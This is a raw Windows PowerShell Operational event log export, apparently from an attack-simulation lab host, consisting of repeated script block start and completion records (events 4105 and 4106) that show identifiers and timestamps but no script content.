Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026483
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026477
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026455
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026453
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026452
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026439
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
